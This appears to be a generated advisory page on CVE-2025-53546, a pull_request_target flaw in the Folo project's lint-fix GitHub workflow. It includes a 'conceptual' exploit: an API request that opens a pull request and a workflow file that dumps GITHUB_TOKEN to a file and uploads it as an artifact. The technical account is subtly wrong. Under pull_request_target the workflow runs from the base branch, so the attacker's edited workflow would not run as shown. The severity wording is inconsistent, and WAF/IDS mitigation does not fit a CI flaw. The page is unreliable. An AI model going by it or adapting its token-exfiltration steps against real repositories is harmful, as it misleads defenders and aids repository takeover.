CVE-2025-53546: High Severity Vulnerability in Folo’s GitHub Workflow

Overview

CVE-2025-53546 is a critical cybersecurity vulnerability that directly affects the secure functioning of Folo, a service that organizes feeds content into a single timeline. It is of significant importance due to the potential damage it can inflict on the security of repositories and the sensitive data they contain. The vulnerability resides in the improper use of pull_request_target on the .github/workflows/auto-fix-lint-format-commit.yml file, which, if exploited, can lead to unauthorized access and manipulation of the base repository.

Vulnerability Summary

CVE ID: CVE-2025-53546
Severity: High (9.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Folo | All versions prior to commit 585c6a591440cd39f92374230ac5d65d7dd23d6a

How the Exploit Works

The vulnerability stems from the misuse of the pull_request_target within the github/workflows/auto-fix-lint-format-commit.yml file. This misuse allows an attacker to execute untrusted code with full access to secrets from the base repository. The attacker can exploit this vulnerability to exfiltrate the GITHUB_TOKEN, which has high privileges including content write privileges, leading to a complete takeover of the repository.

Conceptual Example Code

Below is a conceptual representation of how an attacker might exploit this vulnerability. The attacker creates a malicious pull request that includes code to export the GITHUB_TOKEN:

POST /repos/:owner/:repo/pulls HTTP/1.1
Host: api.github.com
Content-Type: application/json
Authorization: Bearer [attacker's personal access token]
{
"title": "Fix lint errors",
"head": "attacker:fix-lint-errors",
"base": "master",
"body": "This PR fixes some lint errors. Please merge it.",
"maintainer_can_modify": true
}

In the attacker’s branch (attacker:fix-lint-errors), the .github/workflows/auto-fix-lint-format-commit.yml file will contain malicious code to exfiltrate the GITHUB_TOKEN:

name: "Auto fix lint and format commit"
on:
pull_request_target:
types: [opened, synchronize, reopened]
jobs:
fix:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Export GITHUB_TOKEN
run: echo "GITHUB_TOKEN=$GITHUB_TOKEN" > secrets.txt
- name: Upload secrets
uses: actions/upload-artifact@v2
with:
name: secrets
path: secrets.txt

Mitigation Guidance

The vulnerability is fixed in commit 585c6a591440cd39f92374230ac5d65d7dd23d6a. It is strongly recommended for all Folo users to update their systems to this commit or later as soon as possible. In the meantime, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) for temporary mitigation.